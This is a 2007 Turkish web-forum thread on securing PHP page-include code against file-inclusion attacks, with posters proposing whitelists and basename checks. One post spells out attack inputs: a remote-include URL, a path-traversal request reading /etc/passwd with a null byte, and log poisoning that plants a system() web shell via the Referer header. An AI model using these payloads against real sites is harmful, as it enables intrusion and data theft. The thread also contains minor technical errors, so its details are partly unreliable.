Zoque
Dirsek Teması:
Geri Dön Zoque » Webmaster Kaynaklari » Sunucu Tabanlı Programlama (Server Side) » PHP » Çok Temel Bir PHP Sorusu (Resimli Anlatım)

Çok Temel Bir PHP Sorusu (Resimli Anlatım)

 
Konuyu Paylaş Seçenekler
 
David Wenham's Avatar
Üyelik Tarihi: 17.01.2004
Mesaj: 495
Görsel: 1
10.09.2007 | 14:58 | #21

Alıntı:
kArA tarafından gönderilen mesaj: Mesajı Görüntüle
Querystring ile gönderilen değerleri kontrol etmeden kullanırsanız güvenlik sorunları ile karşılaşabilirsiniz. Kötü niyetli kişiler index.PHP?sayfa=http://www.kotusite.com/kotusayfa.PHP şeklinde kendi kodlarını sitenizde çalıştırabilir.

Şöyle bir kontrol yapabilirsiniz

PHP Code:
<?PHP
$sayfa 
"default";
$sayfalar = array("default""haber_ekle""haber_sil");
if(
array_search($sayfalar$_GET["sayfa"]) === True)
   
$sayfa $_GET["sayfa"];
include 
'pages/'.$sayfa.'.PHP'
?>
Böylece ön tanımlı $sayfalar dizisinde sayfa mevcut ise dahil edilmiş olur, eğer dizi içerisinde querystringden gelen değer bulunamazsa o zaman $sayfa değişkeninin ilk değeri olan default.PHP sayfasına yönlendirilmiş olur.
Mekanizma geliştirilebilir, iş yerinde olduğum ve vaktim kısıtlı olduğu için etraflıca düşünemedim.
Peki bu durumda eklediğimiz her sayfayı array in içine eklememiz mi lazım olacak. Ben öteki yöntemde sadece linke index.PHP?sayfa=icerik girip icerik.PHP sayfasını da hazırladığımda otomatik olarak siteyi görüyordu. Bunda ise her oluşturduğumuz sayfayı index.PHP deki array dizisine eklememiz gerekecek doğru mu?
__________________
kişisel portfolio
  Alıntı yap
 
David Wenham's Avatar
Üyelik Tarihi: 17.01.2004
Mesaj: 495
Görsel: 1
10.09.2007 | 15:04 | #22

Alıntı:
kArA tarafından gönderilen mesaj: Mesajı Görüntüle

PHP Code:
<?PHP
$sayfa 
"default";
$sayfalar = array("default""haber_ekle""haber_sil");
if(
array_search($sayfalar$_GET["sayfa"]) === True)
   
$sayfa $_GET["sayfa"];
include 
'pages/'.$sayfa.'.PHP'
?>

Bu arada üstteki işlemi yaptığımda "
Warning: array_search(): Wrong datatype for second argument in D:\Home\siteadi.com\httpdocs\beta\Index.PHP on line 281
" şeklinde bir hata verdi..
__________________
kişisel portfolio
  Alıntı yap
BYK BYK şu an çevrimdışı
 
BYK's Avatar
Üyelik Tarihi: 08.04.2003
Mesaj: 974
Görsel: 8
10.09.2007 | 16:17 | #23

Bir array'in içinden kontrol etmek yerine örneğin include klasöründe aranan dosyanın olup olmadığını denetlemek daha iyi bir yöntem bence.
__________________
Hayata gülümse!

Kim bu BYK? - OpenSource JS Library - Eğlencelik Okuma Parçaları
  Alıntı yap
 
kArA's Avatar
Üyelik Tarihi: 03.08.2000
Mesaj: 38
10.09.2007 | 21:35 | #24

Alıntı:
David Wenham tarafından gönderilen mesaj: Mesajı Görüntüle
Bu arada üstteki işlemi yaptığımda "
Warning: array_search(): Wrong datatype for second argument in D:\Home\siteadi.com\httpdocs\beta\Index.PHP on line 281
" şeklinde bir hata verdi..
Hatanın sebebi array_search fonksiyonuna argümanları yanlış sıra ile vermiş olmam. Doğrusu şu şekilde olacak:

PHP Code:
<?PHP
$sayfa 
"default";
$sayfalar = array("default""haber_ekle""haber_sil");
if(
array_search($_GET["sayfa"], $sayfalar) === True)
   
$sayfa $_GET["sayfa"];
include 
'pages/'.$sayfa.'.PHP'
?>
Ayrıca BYK'nın önerisi de güvenliği bir adım ileri taşır. Daha şık olur.
__________________
kara
http://www.karalamalar.net
  Alıntı yap
 
David Wenham's Avatar
Üyelik Tarihi: 17.01.2004
Mesaj: 495
Görsel: 1
10.09.2007 | 21:42 | #25

Alıntı:
BYK tarafından gönderilen mesaj: Mesajı Görüntüle
Bir array'in içinden kontrol etmek yerine örneğin include klasöründe aranan dosyanın olup olmadığını denetlemek daha iyi bir yöntem bence.

Bunu nasıl yapabiliriz PHP ile?
__________________
kişisel portfolio
  Alıntı yap
BYK BYK şu an çevrimdışı
 
BYK's Avatar
Üyelik Tarihi: 08.04.2003
Mesaj: 974
Görsel: 8
10.09.2007 | 23:22 | #26

PHP Code:
if (file_exists($dosya_adi))
  include(
$dosya_adi);
else
  include(
'404.htm'); 
Şeklinde bir kullanım işini görecektir sanırım.

Not: array de aslında güvenli bir yöntem bence ancak ben siteye yeni içerik/sayfa eklediğimde ana kodunu değiştirmeyi ve yine ana kodun bu tarz sabit değerlerle şişmesini sevmiyorum. Biraz da tercih meselesi yani
__________________
Hayata gülümse!

Kim bu BYK? - OpenSource JS Library - Eğlencelik Okuma Parçaları
  Alıntı yap
 
meteryus's Avatar
Üyelik Tarihi: 26.12.2005
Mesaj: 192
Görsel: 11
11.09.2007 | 00:16 | #27

file_exists aloow_url_foen ın açık olduğu sunucularda uzaktaki dosyların varlığını kotrol edebileceği için ciddi sorunlara neden olabilir (Bakınız XSS) ayrıca sunucuda şifre dosyları gibi include edilmesi istenmeyen dosyaların da siteye çağrılması sağlanabilir, yüklenecek sayfaları bir diziye atmak (beyaz liste yöntemi) bu sorunlar çözmek için en güvenli yoldur.

Yine de bu yöntemi kullanmak istemezseniz, basename() fonksityonu ile gelen dosyanın ismini belirleyerek bildiğiniz dizinden yükleme yapabilirsiniz, bu kötü niyetli kişilerin sizin istemediğiniz dosyları include etme olasılığını oldukça azaltır.
PHP Code:
    if($_GET['module']) 
    {
   
$dir "include_edilecek_dosyalar/";
   
$ext ".PHP";
   
$page $dir.basename(strval($_GET['module']),$ext).$ext;
           if(
is_file($page)) 
        {
               include(
$page);
        }        
                                          else echo 
"dosya bulunamadı";        
    } 
__________________
blog | perfectgate
  Alıntı yap
BYK BYK şu an çevrimdışı
 
BYK's Avatar
Üyelik Tarihi: 08.04.2003
Mesaj: 974
Görsel: 8
11.09.2007 | 08:44 | #28

meteryus'un belirttiği şeyi yazmayı unutmuşum ben de. Sistem olarak tam da onun yazdığı kod gibi bir şey kullanıyoruz kendi sitemizde de.

Teşekkürler uyarı için
__________________
Hayata gülümse!

Kim bu BYK? - OpenSource JS Library - Eğlencelik Okuma Parçaları
  Alıntı yap
 
Yns_'s Avatar
Üyelik Tarihi: 23.10.2005
Mesaj: 60
11.09.2007 | 22:09 | #29

Son zamanlarda PHP ile yazılmış sistemlerde en çok görülen güvenlik problemlerinden biri Remote File Include “uzaktan kod/dosya çalıştırma” saldırıları.

Genelde, modüler bir yapı uğruna şu çeşit kodları görebilmek mümkün;

Kod:
<?
include $_GET["sayfa"];
?>
Aslında, gayet basit ve işe yarar bir kod gibi görünse de artık hemen hemen her PHP programcısının bildiği gibi saldıranlar açısından pek iyi bir kod değil.

Örnek saldırı: index.PHP?sayfa=http://uzaktakisunucu.com/saldiran_dosya.txt

Saldırıları önlemek amacıyla birçok forumda/platformda çeşitli önlemler görüyorum. Fakat gerçekten güvenli çözüm göremedim desem yalan olur.

Şimdi gelelim, güvenli olmayan güvenlik yaklaşımlarına;
  • Dosyaya path eklemek

En yaygın sorunlardan bir tanesi. Include yolunun başına path ekleyince sorun olmayacakmış gibi geliyor web programcılarına;

Örnek kod;
Kod:
<?
include 'inc/'.$_GET["sayfa"].'.PHP';
?>
Bu yaklaşımda güvenli değil. İlk önce local file include sonrasında da code execution saldırılarına yol açıyor.

Nasıl olduğunu görelim;

Örnek saldırı: index.PHP?sayfa=../../../../etc/passwd%00

Evet bu şekilde yapılacak bir istekle, Linux sunucularda bulunan passwd dosyası ekrana basılacaktır.

Büyük ihtimalle null byte’ı (%00) ilk defa görüyorsanız kafanız karıştı. Normalde sonuna uzantı ekliyoruz diye düşündünüz. Fakat PHP, C familyasından bir dildir. Ve değişkeni işlerken %20 karakterini gördüğü zaman durur, dolayısıyla sonuna inter-polation yardımıyla eklediğiniz uzantı işe yaramaz hale gelir.

Bu durumda http_auth ile sakladığınız dizinlerin içerikleri görüntülenebilir, ve daha da tehlikesi sunucunuzda kod çalıştırılabilir.

Hemen hemen her web sunucu gelen http isteklerini loglar ve bunu belirli bir dosyaya kaydeder. Örneğin, Access.log vardır apache’dir. Bu log dosyalarının makine üstündeki yerler bellidir.

Ve yine http istekleri kullanıcı tarafından geldiği için suistimal edilebilir.

Saldırıyı örnekleyelim hemen;
  1. HTTP_REFERER bilgisini <? echo system($_GET[“c”]); ?> şeklinde yolla ve siteye gir.
  2. local file include bulunan dosyaya, ?sayfa=../../../var/logs/access.log&c=ls –all
şeklinde istek yap.

Bu isteğin sonucunda çalışılan dizinin içeriği ekrana basılacaktır.

ls –all yerine çok daha tehlikeli kodlar çalıştırılabilir.
  • file_exists();

Alıntı:
BYK tarafından gönderilen mesaj: Mesajı Görüntüle
PHP Code:
if (file_exists($dosya_adi))
  include(
$dosya_adi);
else
  include(
'404.htm'); 
Şeklinde bir kullanım işini görecektir sanırım.

Not: array de aslında güvenli bir yöntem bence ancak ben siteye yeni içerik/sayfa eklediğimde ana kodunu değiştirmeyi ve yine ana kodun bu tarz sabit değerlerle şişmesini sevmiyorum. Biraz da tercih meselesi yani


Öncelikle file_exists() yukarıdaki saldırılardan zaten etkilenecektir. Çünkü olmayan bir dosya include edilmiyor sonuçta. Fakat bunun yanında PHP5 ile birlikte file_exists(); http wrapper’lari da destekliyor. Dolayısıyla, uzaktaki sunucudaki dosyaları da kontrol edebiliyor. Manual sayfasına bakabilirseniz görürsünüz.

Peki ya çözüm?

Aslında çözüm gayet basit. Tam beyaz liste’lik iş. Örnek kod;

Kod:
<?


$beyaz_liste = array('haberler','linkler','dosyalar'); # cogaltilabilir..
    
    if(in_array($_GET["sayfa"],$beyaz_liste)) {
        $do = $_GET["sayfa"];
    }
    else {
        $do = 'index'; # anasayfa her neyse..
    }
    include('inc/'.$do.'.PHP');
    
    
?>
Bu kod her şeyi halledecektir. Fakat her dosyayı array’e atmak benim için zor diyorsanız, bunu otomatik olarakta yapabilirsiniz. Ornegin, scandir() fonksiyonu parametre olarak aldığı dizindeki dosyaları array olarak döndürür.

Dip not: şu yazıdan sonra rahat 1 ay bir şey yazmam ben.
  Alıntı yap
BYK BYK şu an çevrimdışı
 
BYK's Avatar
Üyelik Tarihi: 08.04.2003
Mesaj: 974
Görsel: 8
12.09.2007 | 08:29 | #30

En sona koyduğun scandir() fonksiyonu olmadığı sürece beyaz liste uygulamasına kesinlikle karşıyım ancak çok güzel noktalara değinmişsin. Hem eline sağlık hem teşekkürler, ben şu scandir'i bir kullanayım hemen
__________________
Hayata gülümse!

Kim bu BYK? - OpenSource JS Library - Eğlencelik Okuma Parçaları
  Alıntı yap
Yanıt

Etiketler

include , including , page , php , sayfa

Seçenekler


 
Zoque'a hoşgeldiniz!
Zoque, 27.02.1999 tarihinde yayın hayatına başlamış, paylaşıma dayalı bir oluşumdur. Tasarım, teknoloji, web, kültür ve sanat ana başlıkları altında bilgi paylaşımı ve benzer değerlere sahip katılımcıların birbirleriyle iletişime girmelerine imkan sağlar. Bu amaçla saygın ve ciddi bir ortamda yardımlaşmak, haberleşmek, kendi bildiklerini diğer katılımcılarla paylaşmak isteyen, oluşumumuza düzenli katılımda bulunacağı inancını taşıyan konuklarımızı üye olmaya davet ediyoruz. [ » ]

Üye Girişi:

Connect with Facebook
Son Eklenen 20 Konu
BlogKüme'yi destekliyoruz
Kitap okuyor musunuz? Ne kadar peki?
Zoque'a sponsor olmak ister misiniz?

Zoque RSS Aboneliği Zoque RSS Aboneliği
En yeni konuları günün ilk ışıkları ile sabah kahvenizin yanında okumak ister misiniz?

Forum Yazılımı: vBulletin® Version 3.8.3 Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.3.0 vbulletin

Arayüz/Skin "Güneş" © www.zoque.com / net. Copyright © 1999 - 2009
Forum Saati GMT +2. Şu anda saat: 10:31.